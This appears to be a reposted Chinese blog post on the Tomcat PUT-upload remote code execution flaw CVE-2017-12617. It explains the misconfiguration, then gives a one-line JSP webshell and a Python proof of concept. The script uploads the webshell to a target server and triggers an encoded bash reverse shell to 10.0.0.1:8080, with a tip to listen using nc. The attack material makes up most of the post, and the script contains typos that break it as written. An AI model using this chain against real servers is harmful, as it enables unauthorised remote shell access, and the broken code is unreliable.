Tomcat遠程任意代碼執行漏洞及其POC(CVE-2017-12617)


一、原理分析:

只需參數readonly設置為false或者使用參數readonly設置啟用WebDAV servlet false,則Tomcat可以不經任何身份驗證的控制直接接收PUT方式上傳的文件,無論上傳者是任何人,也無論上傳的是任何文件。此時可以上傳jsp文件,直接執行jsp代碼。

二、實例分析:

我們上傳1.txt,直接返回了201成功

不幸的是找到的這個環境對jsp上傳是失敗的,所以在一定程度上防止了getshell的。

如果能夠上傳jsp,只需傳一個木馬上去,執行反彈shell的命令,就可以搞定了。

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

然后我們可以寫一個腳本來搞定

三、驗證POC:

poc的流程其實很簡單,requests庫發起put請求,上傳payload如上,然后直接訪問對應的url反彈shell就行。

只寫出關鍵代碼

import sys
import uuid
import requests
targetip = sys.args[1]
targetport = sys.args[2]
filename = uuid.uuid1()
targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname)
response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>')
if response.status_code == 201:
     print "YES"
     requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")

參數i的部分URL編碼后的:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

只需要自己用nc監聽者端口就可以了。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM